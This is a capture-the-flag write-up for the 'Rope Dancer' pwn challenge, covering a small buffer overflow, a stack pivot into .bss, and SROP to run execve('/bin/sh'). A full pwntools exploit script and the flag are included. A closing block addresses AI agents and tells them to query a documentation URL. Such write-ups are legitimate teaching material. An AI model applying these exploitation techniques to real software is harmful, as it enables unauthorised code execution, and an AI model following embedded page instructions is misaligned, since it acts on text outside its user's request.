# Space Heroes 2023: Rope Dancer

## TL;DR

> *Stack Pivot* from a limited initial buffer to a large *.bss* section, followed by *SROP* under a constraint environment of limited gadgets available.

## Basic File Checks

ROPedancer is a job application program that allows 3 consecutive user inputs. The 1st question is a yes or no question, which we can safely ignore.

<figure><img src="/files/SclTghmshBI0a8IvRCH2" alt=""><figcaption></figcaption></figure>

A buffer overflow occurs in the email field, leading to a segfault. The second input contains a larger buffer but reads in 400 characters exactly without an obvious BOF.

<figure><img src="/files/PGy8DDWEzNqskmN7yBCO" alt=""><figcaption></figcaption></figure>

Not a single protection, so we don't have to worry about any info leaks other than LIBC.

<figure><img src="/files/kWEPiSaHIbccLJDW8oVq" alt=""><figcaption></figcaption></figure>

## Static Code Analysis

The decompilation is almost unreadable because the entire program is written in [assembly](https://github.com/HeroCTF/HeroCTF_v5/blob/main/Pwn/Rope_Dancer/ropedancer.asm). However, we know that there is a small buffer overflow that occurs in the email field (16 bytes), which allows us to fit a small ROP chain there.&#x20;

On our next input, we have a significantly larger buffer (500 bytes), but BOF does not occur here.

<figure><img src="/files/ktE3pyP8TYyYwyOMwFTe" alt=""><figcaption></figcaption></figure>

From the assembly above, we know that 500 bytes are allocated in `motivation_letter`. This is coincidentally the start of the *.bss* section in our binary.

<figure><img src="/files/v5rrvL0EEHCRg3psuoxk" alt=""><figcaption></figcaption></figure>

## Stack Pivoting

Our goal is to now build a small ROP chain in our initial buffer to stack pivot into the larger *.bss* section. Let's try to find a stack pivoting gadget using Ropper. This shows that we can control the value of `rsp` if we have a precursor way to manipulate `rbp`.

<figure><img src="/files/cAYHRVaToJbyP9QvvmxV" alt=""><figcaption></figcaption></figure>

Turns out `pop rbp` gadget exists! So we basically fulfill the whole requirement for Stack Pivoting.

<figure><img src="/files/oZGqoCp0hIGniD2vMmfZ" alt=""><figcaption></figcaption></figure>

## Exploit Plan

We have just found a way to pivot into a large buffer via Stack Pivoting. Now let's focus on constructing an ROP chain that leads to a shell or flag.

### ret2libc :x:

Looking at the available gadgets, we have a very limited option of pop-based gadgets. The `pop rdi` gadget used to perform a `ret2libc` attack is no-where to be seen.

<figure><img src="/files/u3UMKHcddloDTE4n9F8s" alt=""><figcaption></figcaption></figure>

Since the program is written entirely in assembly, there's no dynamic linking of LIBC libraries, and therefore there won't be any GOT entries populated. At this point, `ret2libc` is practically impossible as there's not a single GOT entry that we can leak to calculate the LIBC base + the lack of gadgets.&#x20;

<figure><img src="/files/l98ftJmQudVFqY8gAwGl" alt=""><figcaption></figcaption></figure>

### SIGROP :green\_circle:&#x20;

Under a constrained environment where there are a limited number of useful gadgets, we can utilize SROP to control all register values at once by spoofing a fake sigreturn frame. The downside of this is SROP requires a huge buffer size (>300 bytes). This is perhaps why the challenge was designed to have a 500 bytes buffer in the *.bss* section.

As Sigreturn is considered a special type of syscall, we would still require few gadgets to control the `rax` registers where the syscall number is stored, outside of the spoofed sigreturn frame.

<figure><img src="/files/JosYUenYtNCwbuqzbVv8" alt=""><figcaption></figcaption></figure>

## Solution

Putting everything together, we have a 3 stage payload:

1. **Stage 1:** Using the smaller buffer to fit an initial ROP chain to pivot to the larger *.bss* section.
2. **Stage 2:** Write `/bin/sh` to the start of *.bss* section, followed by calling syscall `0xf` to invoke SIGROP.
3. **Stage 3:** Setup the sigreturn frame to call `execve(/bin/sh)`.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './ropedancer'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'DEBUG'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

pop_rbp = 0x0000000000401117        # pop rbp; ret; 
stack_pivot = 0x0000000000401114    # mov rsp, rbp; pop rbp; ret;
syscall = 0x000000000040102f
xor_eax = 0x0000000000401011        # xor eax, eax; inc al; ret;
inc_al = 0x0000000000401013         # inc al; ret;

io.sendlineafter(b'ROPedancer? ', b'yes')

payload = b"A" * 24
payload += p64(pop_rbp)
payload += p64(elf.bss())          # Destination address for Stack Pivot
payload += p64(stack_pivot)        # mov rsp, rbp; pop rbp; ret;
payload += p64(0)                  # Fill up rbp after pop

io.sendlineafter(b'contact you: ', payload)

# SigreturnFrame() allows us to spoof the frame, so we do not require pop rax,rdi,rsi,rdx,rip here
frame = SigreturnFrame()
# syscall number for execve()
frame.rax = 0x3b                
# points to the start of bss which contains the /bin/sh string
frame.rdi = elf.bss()  
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall

# As this is outside of SigreturnFrame(), we can't spoof the registers, so we need a way to set rax to 15
payload = b"/bin/sh\x00"        # Write /bin/sh to the start bss section
payload += p64(xor_eax)         # Sigreturn is syscall 0xf (15), initial value here is 1
payload += p64(inc_al) * 0xe    # Increment 14 more times
payload += p64(syscall)
payload += bytes(frame)

io.sendlineafter(b'hire you: ', payload)
io.interactive()
```

{% endcode %}

<figure><img src="/files/Hs6T9lI5G20MFNdSJKAW" alt=""><figcaption></figcaption></figure>

**Flag:** Hero{1\_w4nN4\_b3\_4\_R0P3\_D4nC3r\_s0\_b4d!!!}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/space-heroes-2023-rope-dancer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
